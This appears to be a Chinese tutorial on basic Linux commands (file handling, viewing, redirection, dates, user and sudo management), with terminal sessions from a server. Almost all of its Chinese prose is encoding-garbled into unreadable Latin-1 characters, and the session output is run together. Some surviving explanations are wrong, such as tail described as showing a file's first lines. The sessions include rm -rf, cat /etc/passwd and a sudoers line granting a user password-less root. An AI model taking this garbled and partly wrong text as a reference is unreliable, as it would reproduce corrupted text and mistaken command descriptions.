´óÊý¾Ý±Ø»áµÄlinuxÃüÁȫ£©
³£Óÿì½Ý¼ü
ctrl + c Í£Ö¹½ø³Ì
ctrl + lÇåÆÁ£»³¹µ×ÇåÆÁÊÇ£ºreset
ctrl + q Í˳ö
tab ¼üÌáʾ(¸üÖØÒªµÄÊÇ¿ÉÒÔ·ÀÖ¹Çôí)
ÉÏϼü ²éÕÒÖ´ÐйýµÄÃüÁî
ctrl +alt linuxºÍWindowsÖ®¼äÇл»
ÎļþĿ¼Àà
pwd ÏÔʾµ±Ç°¹¤×÷Ŀ¼µÄ¾ø¶Ô·¾¶
1£®»ù±¾Óï·¨
pwd£¨¹¦ÄÜÃèÊö£ºÏÔʾµ±Ç°¹¤×÷Ŀ¼µÄ¾ø¶Ô·¾¶£©
2£®°¸Àýʵ²Ù
£¨1£©ÏÔʾµ±Ç°¹¤×÷Ŀ¼µÄ¾ø¶Ô·¾¶
[root@hadoop101 ~]# pwd /root
ls ÁгöĿ¼µÄÄÚÈÝ
ls:list ÁгöĿ¼ÄÚÈÝ
1£®»ù±¾Óï·¨
ls [Ñ¡Ïî] [Ŀ¼»òÊÇÎļþ]
2£®Ñ¡Ïî˵Ã÷
Ñ¡Ïî˵Ã÷
-a È«²¿µÄÎļþ£¬Á¬Í¬Òþ²Øµµ( ¿ªÍ·Îª . µÄÎļþ) Ò»ÆðÁгöÀ´(³£ÓÃ)
-l ³¤Êý¾Ý´®Áгö£¬°üº¬ÎļþµÄÊôÐÔÓëȨÏ޵ȵÈÊý¾Ý£»(³£ÓÃ)
3£®ÏÔʾ˵Ã÷
ÿÐÐÁгöµÄÐÅÏ¢ÒÀ´ÎÊÇ£º ÎļþÀàÐÍÓëȨÏÞ Á´½ÓÊý ÎļþÊôÖ÷ ÎļþÊô×é Îļþ´óСÓÃbyteÀ´±íʾ ½¨Á¢»ò×î½üÐ޸ĵÄʱ¼ä Ãû×Ö
4£®°¸Àýʵ²Ù
£¨1£©²é¿´µ±Ç°Ä¿Â¼µÄËùÓÐÄÚÈÝÐÅÏ¢
[root@balingjiuling-01 demo]# ls -altotal 42848drwxr-xr-x 3 mysql mysql 4096 May 18 2019 .drwxr-xr-x 8 mysql mysql 4096 Jul 19 10:24 ..-rw-r--r-- 1 mysql mysql 4538 Apr 10 2019 2043492_www.sweipz.com.pfx-rw-r--r-- 1 mysql mysql 43104575 May 7 2019 demo-0.0.1-SNAPSHOT.jar-rw------- 1 mysql mysql 737088 Jul 10 10:24 nohup.outdrwxr-xr-x 2 mysql mysql 12288 May 12 2019 novelimg
cd Çл»Ä¿Â¼
cd:Change DirectoryÇл»Â·¾¶
1£®»ù±¾Óï·¨
cd [²ÎÊý]
2£®²ÎÊý˵Ã÷
cd ¾ø¶Ô·¾¶ Çл»Â·¾¶
cd Ïà¶Ô·¾¶ Çл»Â·¾¶
cd ~»òÕßcd »Øµ½×Ô¼ºµÄ¼ÒĿ¼
cd - »Øµ½ÉÏÒ»´ÎËùÔÚĿ¼
cd .. »Øµ½µ±Ç°Ä¿Â¼µÄÉÏÒ»¼¶Ä¿Â¼
cd -P Ìøתµ½Êµ¼ÊÎïÀí·¾¶£¬¶ø·Ç¿ì½Ý·½Ê½Â·¾¶
3£®°¸Àýʵ²Ù
£¨1£©Ê¹Óþø¶Ô·¾¶Çл»µ½rootĿ¼
[root@balingjiuling-01 demo]# cd /root[root@balingjiuling-01 ~]# pwd/root[root@balingjiuling-01 ~]#
£¨2£©Ê¹ÓÃÏà¶Ô·¾¶Çл»µ½¡°/opt¡±Ä¿Â¼
[root@balingjiuling-01 /]# cd ./opt[root@balingjiuling-01 opt]# pwd/opt
£¨3£©±íʾ»Øµ½×Ô¼ºµÄ¼ÒĿ¼£¬Ò༴ÊÇ /root Õâ¸öĿ¼
[root@balingjiuling-01 opt]# cd ~[root@balingjiuling-01 ~]# pwd/root
£¨4£©cd- »Øµ½ÉÏÒ»´ÎËùÔÚĿ¼
[root@balingjiuling-01 ~]# cd -/opt[root@balingjiuling-01 opt]# pwd/opt
£¨5£©±íʾ»Øµ½µ±Ç°Ä¿Â¼µÄÉÏÒ»¼¶Ä¿Â¼
[root@balingjiuling-01 opt]# cd ..[root@balingjiuling-01 /]# pwd/
mkdir ´´½¨Ò»¸öеÄĿ¼
mkdir:Make directory ½¨Á¢Ä¿Â¼
1£®»ù±¾Óï·¨
mkdir [Ñ¡Ïî] Òª´´½¨µÄĿ¼
2£®Ñ¡Ïî˵Ã÷
-p ´´½¨¶à²ãĿ¼
3£®°¸Àýʵ²Ù
£¨1£©´´½¨Ò»¸öĿ¼
[root@balingjiuling-01 opt]# mkdir test[root@balingjiuling-01 opt]# lltotal 4drwxr-xr-x 2 root root 4096 Dec 25 10:52 test
[root@balingjiuling-01 opt]# mkdir test/data[root@balingjiuling-01 opt]# cd test/[root@balingjiuling-01 test]# lltotal 4drwxr-xr-x 2 root root 4096 Dec 25 10:52 data
£¨2£©´´½¨Ò»¸ö¶à¼¶Ä¿Â¼
[root@hadoop101 ~]# mkdir -p xiyou/dssz/meihouwang
7.2.5 rmdir ɾ³ýÒ»¸ö¿ÕµÄĿ¼
rmdir:Remove directory Òƶ¯Ä¿Â¼
1£®»ù±¾Óï·¨£º
rmdir Ҫɾ³ýµÄ¿ÕĿ¼
2£®°¸Àýʵ²Ù
£¨1£©É¾³ýÒ»¸ö¿ÕµÄÎļþ¼Ð
[root@balingjiuling-01 opt]# mkdir -p test1/data1/data2[root@balingjiuling-01 opt]# cd test1/data1/data2/[root@balingjiuling-01 data2]# pwd/opt/test1/data1/data2
touch ´´½¨¿ÕÎļþ
1£®»ù±¾Óï·¨
touch ÎļþÃû³Æ
2£®°¸Àýʵ²Ù
[root@balingjiuling-01 data2]# touch aaa.txt[root@balingjiuling-01 data2]# lltotal 0-rw-r--r-- 1 root root 0 Dec 25 11:01 aaa.txt
cp ¸´ÖÆÎļþ»òĿ¼
1£®»ù±¾Óï·¨
cp [Ñ¡Ïî] source dest £¨¹¦ÄÜÃèÊö£º¸´ÖÆsourceÎļþµ½dest£©
2£®Ñ¡Ïî˵Ã÷
-r µÝ¹é¸´ÖÆÕû¸öÎļþ¼Ð
3£®°¸Àýʵ²Ù
£¨1£©¸´ÖÆÎļþ
[root@balingjiuling-01 data2]# cp aaa.txt ../[root@balingjiuling-01 data2]# cd ../[root@balingjiuling-01 data1]# lltotal 4-rw-r--r-- 1 root root 0 Dec 25 11:03 aaa.txtdrwxr-xr-x 2 root root 4096 Dec 25 11:01 data2
£¨2£©µÝ¹é¸´ÖÆÕû¸öÎļþ¼Ð
[root@balingjiuling-01 data1]# cp -r data2 ../[root@balingjiuling-01 data1]# cd ../[root@balingjiuling-01 test1]# lltotal 8drwxr-xr-x 3 root root 4096 Dec 25 11:03 data1drwxr-xr-x 2 root root 4096 Dec 25 11:04 data2
rm ÒƳýÎļþ»òĿ¼
1£®»ù±¾Óï·¨
rm [Ñ¡Ïî] deleteFile£¨¹¦ÄÜÃèÊö£ºµÝ¹éɾ³ýĿ¼ÖÐËùÓÐÄÚÈÝ£©
2£®Ñ¡Ïî˵Ã÷
-r µÝ¹éɾ³ýĿ¼ÖÐËùÓÐÄÚÈÝ
-f Ç¿ÖÆÖ´ÐÐɾ³ý²Ù×÷£¬¶ø²»ÌáʾÓÃÓÚ½øÐÐÈ·ÈÏ¡£
-v ÏÔʾָÁîµÄÏêϸִÐйý³Ì¨B
3. °¸Àýʵ²Ù
£¨1£©É¾³ýĿ¼ÖеÄÄÚÈÝ
root@balingjiuling-01 test1]# rm data1/aaa.txt rm: remove regular empty file ¡®data1/aaa.txt¡¯? y
£¨2£©µÝ¹éɾ³ýĿ¼ÖÐËùÓÐÄÚÈÝ
[root@balingjiuling-01 test1]# rm -rf data1[root@balingjiuling-01 test1]# lltotal 4drwxr-xr-x 2 root root 4096 Dec 25 11:04 data2
mv Òƶ¯ÎļþÓëĿ¼»òÖØÃüÃû
1£®»ù±¾Óï·¨
£¨1£©mv oldNameFile newNameFile £¨¹¦ÄÜÃèÊö£ºÖØÃüÃû£©
£¨2£©mv /temp/movefile /targetFolder £¨¹¦ÄÜÃèÊö£ºÒƶ¯Îļþ£©
2£®°¸Àýʵ²Ù
£¨1£©ÖØÃüÃû
[root@balingjiuling-01 data2]# mv aaa.txt bbb.txt[root@balingjiuling-01 data2]# lltotal 0-rw-r--r-- 1 root root 0 Dec 25 11:04 bbb.txt
£¨2£©Òƶ¯Îļþ
[root@balingjiuling-01 data2]# mv bbb.txt ../[root@balingjiuling-01 data2]# lltotal 0[root@balingjiuling-01 data2]# cd ../[root@balingjiuling-01 test1]# lltotal 4-rw-r--r-- 1 root root 0 Dec 25 11:04 bbb.txtdrwxr-xr-x 2 root root 4096 Dec 25 11:08 data2
7.2.10 cat ²é¿´ÎļþÄÚÈÝ
²é¿´ÎļþÄÚÈÝ£¬´ÓµÚÒ»ÐпªÊ¼ÏÔʾ¡£
1£®»ù±¾Óï·¨
cat [Ñ¡Ïî] Òª²é¿´µÄÎļþ
2£®Ñ¡Ïî˵Ã÷
-n ÏÔʾËùÓÐÐеÄÐкţ¬°üÀ¨¿ÕÐС£
3£®¾Ñé¼¼ÇÉ
Ò»°ã²é¿´±È½ÏСµÄÎļþ£¬Ò»ÆÁÄ»ÄÜÏÔʾȫµÄ¡£
4£®°¸Àýʵ²Ù
£¨1£©²é¿´ÎļþÄÚÈݲ¢ÏÔʾÐкÅ
[root@balingjiuling-01 test1]# cat -n profile 1 # /etc/profile 2 3 # System wide environment and startup programs, for login setup 4 # Functions and aliases go in /etc/bashrc 5 6 # It's NOT a good idea to change this file unless you know what you 7 # are doing. It's much better to create a custom.sh shell script in 8 # /etc/profile.d/ to make custom changes to your environment, as this 9 # will prevent the need for merging in future updates. 10 11 pathmunge () { 12 case ":${PATH}:" in 13 *:"$1":*) 14 ;; 15 *)
more ÎļþÄÚÈÝ·ÖÆÁ²é¿´Æ÷
moreÖ¸ÁîÊÇÒ»¸ö»ùÓÚVI±à¼Æ÷µÄÎı¾¹ýÂËÆ÷£¬ËüÒÔÈ«ÆÁÄ»µÄ·½Ê½°´Ò³ÏÔʾÎı¾ÎļþµÄÄÚÈÝ¡£moreÖ¸ÁîÖÐÄÚÖÃÁËÈô¸É¿ì½Ý¼ü£¬Ïê¼û²Ù×÷˵Ã÷¡£
1£®»ù±¾Óï·¨
more Òª²é¿´µÄÎļþ
2£®²Ù×÷˵Ã÷
¿Õ°×¼ü (space) ´ú±íÏòÏ·һҳ£»Enter ´ú±íÏòÏ·¡ºÒ»ÐС»£»q ´ú±íÁ¢¿ÌÀ뿪 more £¬²»ÔÙÏÔʾ¸ÃÎļþÄÚÈÝ¡£Ctrl+F ÏòϹö¶¯Ò»ÆÁCtrl+B ·µ»ØÉÏÒ»ÆÁ= Êä³öµ±Ç°ÐеÄÐкÅ:f Êä³öÎļþÃûºÍµ±Ç°ÐеÄÐкÅ
3£®°¸Àýʵ²Ù
£¨1£©²ÉÓÃmore²é¿´Îļþ
[root@balingjiuling-01 test1]# more profile # /etc/profile# System wide environment and startup programs, for login setup# Functions and aliases go in /etc/bashrc# It's NOT a good idea to change this file unless you know what you# are doing. It's much better to create a custom.sh shell script in# /etc/profile.d/ to make custom changes to your environment, as this# will prevent the need for merging in future updates.pathmunge () { case ":${PATH}:" in *:"$1":*) ;; *) if [ "$2" = "after" ] ; then PATH=$PATH:$1 else PATH=$1:$PATH fi esac}
less ·ÖÆÁÏÔʾÎļþÄÚÈÝ
lessÖ¸ÁîÓÃÀ´·ÖÆÁ²é¿´ÎļþÄÚÈÝ£¬ËüµÄ¹¦ÄÜÓëmoreÖ¸ÁîÀàËÆ£¬µ«ÊDZÈmoreÖ¸Áî¸ü¼ÓÇ¿´ó£¬Ö§³Ö¸÷ÖÖÏÔʾÖնˡ£lessÖ¸ÁîÔÚÏÔʾÎļþÄÚÈÝʱ£¬²¢²»ÊÇÒ»´Î½«Õû¸öÎļþ¼ÓÔØÖ®ºó²ÅÏÔʾ£¬¶øÊǸù¾ÝÏÔʾÐèÒª¼ÓÔØÄÚÈÝ£¬¶ÔÓÚÏÔʾ´óÐÍÎļþ¾ßÓнϸߵÄЧÂÊ¡£
1£®»ù±¾Óï·¨
less +Òª²é¿´µÄÎļþ
2£®²Ù×÷˵Ã÷
¿Õ°×¼ü ÏòÏ·¶¯Ò»Ò³£»[pagedown] ÏòÏ·¶¯Ò»Ò³[pageup] ÏòÉÏ·¶¯Ò»Ò³£»/×Ö´® ÏòÏÂËÑÑ°¡º×Ö´®¡»µÄ¹¦ÄÜ£»n£ºÏòϲéÕÒ£»N£ºÏòÉϲéÕÒ£»?×Ö´® ÏòÉÏËÑÑ°¡º×Ö´®¡»µÄ¹¦ÄÜ£»n£ºÏòÉϲéÕÒ£»N£ºÏòϲéÕÒ£»q À뿪 less Õâ¸ö³ÌÐò£»
3£®°¸Àýʵ²Ù
£¨1£©²ÉÓÃless²é¿´Îļþ
[root@balingjiuling-01 test1]# less profile # /etc/profile# System wide environment and startup programs, for login setup# Functions and aliases go in /etc/bashrc# It's NOT a good idea to change this file unless you know what you# are doing. It's much better to create a custom.sh shell script in# /etc/profile.d/ to make custom changes to your environment, as this# will prevent the need for merging in future updates.pathmunge () { case ":${PATH}:" in *:"$1":*) ;; *) if [ "$2" = "after" ] ; then PATH=$PATH:$1 else PATH=$1:$PATH fi esac
echo
echoÊä³öÄÚÈݵ½¿ØÖÆ̨
1. »ù±¾Óï·¨
echo [Ñ¡Ïî] [Êä³öÄÚÈÝ]
Ñ¡Ï
-e£º Ö§³Ö·´Ð±Ïß¿ØÖƵÄ×Ö·ûת»»
\\ Êä³ö\±¾Éí\n »»Ðзû\t ÖƱí·û£¬Ò²¾ÍÊÇTab¼ü
2. °¸Àýʵ²Ù
[root@balingjiuling-01 test1]# echo "hello\tword"hello\tword
[root@balingjiuling-01 test1]# echo -e "hello\tword"hello word
head ÏÔʾÎļþÍ·²¿ÄÚÈÝ
headÓÃÓÚÏÔʾÎļþµÄ¿ªÍ·²¿·ÖÄÚÈÝ£¬Ä¬ÈÏÇé¿öÏÂheadÖ¸ÁîÏÔʾÎļþµÄÇ°10ÐÐÄÚÈÝ¡£
1. »ù±¾Óï·¨
head Îļþ £¨¹¦ÄÜÃèÊö£º²é¿´ÎļþÍ·10ÐÐÄÚÈÝ£©
head -n 5 Îļþ £¨¹¦ÄÜÃèÊö£º²é¿´ÎļþÍ·5ÐÐÄÚÈÝ£¬5¿ÉÒÔÊÇÈÎÒâÐÐÊý£©
2£®Ñ¡Ïî˵Ã÷
-n<ÐÐÊý> Ö¸¶¨ÏÔʾͷ²¿ÄÚÈݵÄÐÐÊý
3£®°¸Àýʵ²Ù
£¨1£©²é¿´ÎļþµÄÍ·2ÐÐ
[root@balingjiuling-01 test1]# head -n 5 profile # /etc/profile# System wide environment and startup programs, for login setup# Functions and aliases go in /etc/bashrc
tail Êä³öÎļþβ²¿ÄÚÈÝ
tailÓÃÓÚÊä³öÎļþÖÐβ²¿µÄÄÚÈÝ£¬Ä¬ÈÏÇé¿öÏÂtailÖ¸ÁîÏÔʾÎļþµÄÇ°10ÐÐÄÚÈÝ¡£
1. »ù±¾Óï·¨
£¨1£©tail Îļþ £¨¹¦ÄÜÃèÊö£º²é¿´ÎļþÍ·10ÐÐÄÚÈÝ£©£¨2£©tail -n 5 Îļþ £¨¹¦ÄÜÃèÊö£º²é¿´ÎļþÍ·5ÐÐÄÚÈÝ£¬5¿ÉÒÔÊÇÈÎÒâÐÐÊý£©£¨3£©tail -f Îļþ £¨¹¦ÄÜÃèÊö£ºÊµÊ±×·×Ù¸ÃÎĵµµÄËùÓиüУ©
2£® Ñ¡Ïî˵Ã÷
-n<ÐÐÊý> Êä³öÎļþβ²¿nÐÐÄÚÈÝ-f ÏÔʾÎļþ×îÐÂ×·¼ÓµÄÄÚÈÝ£¬¼àÊÓÎļþ±ä»¯
3£®°¸Àýʵ²Ù
£¨1£©²é¿´Îļþĩβ1ÐÐÄÚÈÝ
[root@balingjiuling-01 test1]# tail -n 1 profile export PATH=$PATH:$JAVA_HOME/bin
£¨2£©ÊµÊ±×·×ٸõµµÄËùÓиüÐÂ
[root@balingjiuling-01 test1]# tail -f profile . "$i" >/dev/null fi fidoneunset iunset -f pathmungeexport JAVA_HOME=/data/soft/jdk1.8.0_73export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarexport PATH=$PATH:$JAVA_HOME/bin
> Êä³öÖض¨ÏòºÍ >> ×·¼Ó
1£®»ù±¾Óï·¨
£¨1£©ls -l >Îļþ £¨¹¦ÄÜÃèÊö£ºÁбíµÄÄÚÈÝдÈëÎļþa.txtÖУ¨¸²¸Çд£©£©£¨2£©ls -al >>Îļþ £¨¹¦ÄÜÃèÊö£ºÁбíµÄÄÚÈÝ×·¼Óµ½Îļþaa.txtµÄĩ⣩£¨3£©cat Îļþ1 > Îļþ2 £¨¹¦ÄÜÃèÊö£º½«Îļþ1µÄÄÚÈݸ²¸Çµ½Îļþ2£©£¨4£©echo ¡°ÄÚÈÝ¡± >> Îļþ
2£®°¸Àýʵ²Ù
£¨1£©½«ls²é¿´ÐÅϢдÈëµ½ÎļþÖÐ
[root@balingjiuling-01 test1]# ls -l >zhuijia.txt[root@balingjiuling-01 test1]# more zhuijia.txt total 8-rw-r--r-- 1 root root 0 Dec 25 11:04 bbb.txtdrwxr-xr-x 2 root root 4096 Dec 25 11:08 data2-rw-r--r-- 1 root root 1958 Dec 25 11:10 profile-rw-r--r-- 1 root root 0 Dec 25 16:19 zhuijia.txt[root@hadoop101 ~]# ls -l>houge.txt
£¨2£©½«ls²é¿´ÐÅÏ¢×·¼Óµ½ÎļþÖÐ
[root@balingjiuling-01 test1]# ls -l >>zhuijia.txt[root@balingjiuling-01 test1]# more zhuijia.txt total 8-rw-r--r-- 1 root root 0 Dec 25 11:04 bbb.txtdrwxr-xr-x 2 root root 4096 Dec 25 11:08 data2-rw-r--r-- 1 root root 1958 Dec 25 11:10 profile-rw-r--r-- 1 root root 0 Dec 25 16:19 zhuijia.txttotal 12-rw-r--r-- 1 root root 0 Dec 25 11:04 bbb.txtdrwxr-xr-x 2 root root 4096 Dec 25 11:08 data2-rw-r--r-- 1 root root 1958 Dec 25 11:10 profile-rw-r--r-- 1 root root 206 Dec 25 16:19 zhuijia.txt
£¨3£©²ÉÓÃecho½«helloµ¥´Ê×·¼Óµ½ÎļþÖÐ
[root@balingjiuling-01 test1]# echo hello >>zhuijia.txt [root@balingjiuling-01 test1]# echo hello >>zhuijia.txt [root@balingjiuling-01 test1]# echo hello >>zhuijia.txt [root@balingjiuling-01 test1]# more zhuijia.txt total 8-rw-r--r-- 1 root root 0 Dec 25 11:04 bbb.txtdrwxr-xr-x 2 root root 4096 Dec 25 11:08 data2-rw-r--r-- 1 root root 1958 Dec 25 11:10 profile-rw-r--r-- 1 root root 0 Dec 25 16:19 zhuijia.txttotal 12-rw-r--r-- 1 root root 0 Dec 25 11:04 bbb.txtdrwxr-xr-x 2 root root 4096 Dec 25 11:08 data2-rw-r--r-- 1 root root 1958 Dec 25 11:10 profile-rw-r--r-- 1 root root 206 Dec 25 16:19 zhuijia.txthellohellohello
ln ÈíÁ´½Ó
ÈíÁ´½ÓÒ²³ÉΪ·ûºÅÁ´½Ó£¬ÀàËÆÓÚwindowsÀïµÄ¿ì½Ý·½Ê½£¬ÓÐ×Ô¼ºµÄÊý¾Ý¿é£¬Ö÷Òª´æ·ÅÁËÁ´½ÓÆäËûÎļþµÄ·¾¶¡£
1£®»ù±¾Óï·¨
ln -s [ÔÎļþ»òĿ¼] [ÈíÁ´½ÓÃû] £¨¹¦ÄÜÃèÊö£º¸øÔÎļþ´´½¨Ò»¸öÈíÁ´½Ó£©
2£®¾Ñé¼¼ÇÉ
ɾ³ýÈíÁ´½Ó£º rm -rf ÈíÁ´½ÓÃû£¬¶ø²»ÊÇrm -rf ÈíÁ´½ÓÃû/
²éѯ£ºÍ¨¹ýll¾Í¿ÉÒԲ鿴£¬ÁбíÊôÐÔµÚ1λÊÇl£¬Î²²¿»áÓÐλÖÃÖ¸Ïò¡£
3£®°¸Àýʵ²Ù
£¨1£©´´½¨ÈíÁ¬½Ó
[root@balingjiuling-01 test1]# mv zhuijia.txt ./data2/[root@balingjiuling-01 test1]# cd ..[root@balingjiuling-01 opt]# lltotal 8drwxr-xr-x 3 root root 4096 Dec 25 10:52 testdrwxr-xr-x 3 root root 4096 Dec 25 16:23 test1[root@balingjiuling-01 opt]# ln -s test1/data2/zhuijia.txt ./test[root@balingjiuling-01 opt]# lltotal 8drwxr-xr-x 3 root root 4096 Dec 25 16:24 testdrwxr-xr-x 3 root root 4096 Dec 25 16:23 test1[root@balingjiuling-01 opt]# cd test[root@balingjiuling-01 test]# lltotal 4drwxr-xr-x 2 root root 4096 Dec 25 10:52 datalrwxrwxrwx 1 root root 23 Dec 25 16:24 zhuijia.txt -> test1/data2/zhuijia.txt
£¨2£©É¾³ýÈíÁ¬½Ó
[root@balingjiuling-01 test]# rm -rf zhuijia.txt [root@balingjiuling-01 test]# lltotal 4drwxr-xr-x 2 root root 4096 Dec 25 10:52 data[root@hadoop101 ~]# rm -rf houzi
history ²é¿´ÒѾִÐйýÀúÊ·ÃüÁî
1£®»ù±¾Óï·¨
history £¨¹¦ÄÜÃèÊö£º²é¿´ÒѾִÐйýÀúÊ·ÃüÁ
2£®°¸Àýʵ²Ù
£¨1£©²é¿´ÒѾִÐйýµÄÀúÊ·ÃüÁî
[root@balingjiuling-01 test]# history 1 ll 2 cd /data/soft/bo 3 cd /data/soft/ScrapyProject/book 4 ll 5 vi end.py 6 ps -ef | grep redis 7 ps -ef |grep java 8 ls 9 cd / 10 ls 11 cd etc 12 ls 13 cd ..
ʱ¼äÈÕÆÚÀà
1£®»ù±¾Óï·¨
date [OPTION]... [+FORMAT]
2£®Ñ¡Ïî˵Ã÷
-d<ʱ¼ä×Ö·û´®> ÏÔʾָ¶¨µÄ¡°Ê±¼ä×Ö·û´®¡±±íʾµÄʱ¼ä£¬¶ø·Çµ±Ç°Ê±¼ä-s<ÈÕÆÚʱ¼ä> ÉèÖÃϵͳÈÕÆÚʱ¼ä
3£®²ÎÊý˵Ã÷
<+ÈÕÆÚʱ¼ä¸ñʽ> Ö¸¶¨ÏÔʾʱʹÓõÄÈÕÆÚʱ¼ä¸ñʽ
date ÏÔʾµ±Ç°Ê±¼ä
1£®»ù±¾Óï·¨
£¨1£©date£¨¹¦ÄÜÃèÊö£ºÏÔʾµ±Ç°Ê±¼ä£©£¨2£©date +%Y¹¦ÄÜÃèÊö£ºÏÔʾµ±Ç°Äê·Ý£©
2£®°¸Àýʵ²Ù
£¨1£©ÏÔʾµ±Ç°Ê±¼äÐÅÏ¢
[root@balingjiuling-01 test]# dateWed Dec 25 16:33:00 CST 2019
£¨2£©ÏÔʾµ±Ç°Ê±¼äÄêÔÂÈÕ
[root@balingjiuling-01 test]# date +%Y-%m-%d2019-12-25
£¨3£©ÏÔʾµ±Ç°Ê±¼äÄêÔÂÈÕʱ·ÖÃë
[root@balingjiuling-01 test]# date "+%Y-%m-%d %H:%M:%S"2019-12-25 16:35:29
date ÏÔʾ·Çµ±Ç°Ê±¼ä
1£®»ù±¾Óï·¨
£¨1£©date -d '1 days ago' £¨¹¦ÄÜÃèÊö£ºÏÔʾǰһÌìʱ¼ä£©£¨2£©date -d '-1 days ago' £¨¹¦ÄÜÃèÊö£ºÏÔʾÃ÷Ììʱ¼ä£©
2£®°¸Àýʵ²Ù
£¨1£©ÏÔʾǰһÌì
[root@balingjiuling-01 test]# date -d '1 days ago' "+%Y-%m-%d %H:%M:%S"2019-12-24 16:36:59
£¨2£©ÏÔʾÃ÷Ììʱ¼ä
[root@balingjiuling-01 test]# date -d '-1 days ago' "+%Y-%m-%d %H:%M:%S"2019-12-26 16:37:42
date ÉèÖÃϵͳʱ¼ä
1£®»ù±¾Óï·¨
date -s ×Ö·û´®Ê±¼ä
Óû§¹ÜÀíÃüÁî
useradd Ìí¼ÓÐÂÓû§
1£®»ù±¾Óï·¨
useradd Óû§Ãû £¨¹¦ÄÜÃèÊö£ºÌí¼ÓÐÂÓû§£©
useradd -g ×éÃû Óû§Ãû £¨¹¦ÄÜÃèÊö£ºÌí¼ÓÐÂÓû§µ½Ä³¸ö×飩
2£®°¸Àýʵ²Ù
£¨1£©Ìí¼ÓÒ»¸öÓû§
[root@balingjiuling-01 test]# useradd test1[root@balingjiuling-01 test]# cd /home/[root@balingjiuling-01 home]# lltotal 50152-rw-r--r-- 1 root root 769 Sep 16 15:11 application.properties-rw-r--r-- 1 root root 20829 Jun 3 2019 huanghe.log-rw-r--r-- 1 root root 50970258 Jun 4 2019 mage-0.0.1-SNAPSHOT.jardrwx------ 2 mysql mysql 4096 Jul 18 22:41 mysql-rw------- 1 root root 181090 Dec 25 13:50 nohup.out-rw------- 1 root root 151549 May 18 2019 nohup.out_bakdrwx------ 2 test1 test1 4096 Dec 25 16:40 test1drwxr-xr-x 3 root root 4096 Jul 9 17:53 tomcat
passwd ÉèÖÃÓû§ÃÜÂë
1£®»ù±¾Óï·¨
passwd Óû§Ãû £¨¹¦ÄÜÃèÊö£ºÉèÖÃÓû§ÃÜÂ룩
2£®°¸Àýʵ²Ù
£¨1£©ÉèÖÃÓû§µÄÃÜÂë
[root@balingjiuling-01 home]# passwd test1
id ²é¿´Óû§ÊÇ·ñ´æÔÚ
1£®»ù±¾Óï·¨
id ̞
2£®°¸Àýʵ²Ù
£¨1£©²é¿´Óû§ÊÇ·ñ´æÔÚ
[root@balingjiuling-01 home]# id test1uid=1001(test1) gid=1001(test1) groups=1001(test1)
cat /etc/passwd ²é¿´´´½¨ÁËÄÄЩÓû§
1£©»ù±¾Óï·¨
[root@balingjiuling-01 home]# cat /etc/papam.d/ passwd passwd- [root@balingjiuling-01 home]# cat /etc/passwdroot:x:0:0:root:/root:/bin/bashmysql:x:1000:1000::/home/mysql:/bin/bashtest1:x:1001:1001::/home/test1:/bin/bash
su Çл»Óû§
su: swith user Çл»Óû§
1£®»ù±¾Óï·¨
su Óû§Ãû³Æ £¨¹¦ÄÜÃèÊö£ºÇл»Óû§£¬Ö»ÄÜ»ñµÃÓû§µÄÖ´ÐÐȨÏÞ£¬²»ÄÜ»ñµÃ»·¾³±äÁ¿£©su - Óû§Ãû³Æ £¨¹¦ÄÜÃèÊö£ºÇл»µ½Óû§²¢»ñµÃ¸ÃÓû§µÄ»·¾³±äÁ¿¼°Ö´ÐÐȨÏÞ£©
2£®°¸Àýʵ²Ù
£¨1£©Çл»Óû§
[root@balingjiuling-01 home]# su test1[test1@balingjiuling-01 home]$ [test1@balingjiuling-01 home]$ echo $PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/data/soft/jdk1.8.0_73/bin:/root/bin:/usr/local/mysql/bin
7.4.6 userdel ɾ³ýÓû§
1£®»ù±¾Óï·¨
£¨1£©userdel Óû§Ãû £¨¹¦ÄÜÃèÊö£ºÉ¾³ýÓû§µ«±£´æÓû§Ö÷Ŀ¼£©£¨2£©userdel -r Óû§Ãû £¨¹¦ÄÜÃèÊö£ºÓû§ºÍÓû§Ö÷Ŀ¼£¬¶¼É¾³ý£©
2£®Ñ¡Ïî˵Ã÷
-r ɾ³ýÓû§µÄͬʱ£¬É¾³ýÓëÓû§Ïà¹ØµÄËùÓÐÎļþ¡£
who ²é¿´µÇ¼Óû§ÐÅÏ¢
1£®»ù±¾Óï·¨
£¨1£©whoami £¨¹¦ÄÜÃèÊö£ºÏÔʾ×ÔÉíÓû§Ãû³Æ£©£¨2£©who am i £¨¹¦ÄÜÃèÊö£ºÏÔʾµÇ¼Óû§µÄÓû§Ãû£©
2£®°¸Àýʵ²Ù
£¨1£©ÏÔʾ×ÔÉíÓû§Ãû³Æ
[test1@balingjiuling-01 home]$ who am iroot pts/0 2019-12-25 09:47 (111.200.84.172)[test1@balingjiuling-01 home]$ whoamitest1
sudo ÉèÖÃÆÕͨÓû§¾ßÓÐrootȨÏÞ
1£®Ìí¼Ótest1Óû§£¬²¢¶ÔÆäÉèÖÃÃÜÂë¡£
2£®ÐÞ¸ÄÅäÖÃÎļþ
vi +91 /etc/sudoers
ÐÞ¸Ä /etc/sudoers Îļþ£¬ÕÒµ½ÏÂÃæÒ»ÐÐ(91ÐÐ)£¬ÔÚrootÏÂÃæÌí¼ÓÒ»ÐУ¬ÈçÏÂËùʾ£º
## Allow root to run any commands anywhereroot ALL=(ALL) ALLtest1 ALL=(ALL) ALL
»òÕßÅäÖóɲÉÓÃsudoÃüÁîʱ£¬²»ÐèÒªÊäÈëÃÜÂë
## Allow root to run any commands anywhereroot ALL=(ALL) ALLtest1 ALL=(ALL) NOPASSWD:ALL
ÐÞ¸ÄÍê±Ï£¬ÏÖÔÚ¿ÉÒÔÓÃtest1ÕʺŵǼ£¬È»ºóÓÃÃüÁî sudo £¬¼´¿É»ñµÃrootȨÏÞ½øÐвÙ×÷¡£
usermod ÐÞ¸ÄÓû§
1£®»ù±¾Óï·¨
usermod -g Óû§×é Óû§Ãû
2£®Ñ¡Ïî˵Ã÷
-g ÐÞ¸ÄÓû§µÄ³õʼµÇ¼×飬¸ø¶¨µÄ×é±ØÐë´æÔÚ¡£Ä¬ÈÏ×éidÊÇ1¡£
3£®°¸Àýʵ²Ù
£¨1£©½«Óû§¼ÓÈëµ½Óû§×é
[root@balingjiuling-01 home]# id test1uid=1001(test1) gid=1001(test1) groups=1001(test1)[root@balingjiuling-01 home]# usermod -g root test1[root@balingjiuling-01 home]# id test1uid=1001(test1) gid=0(root) groups=0(root)
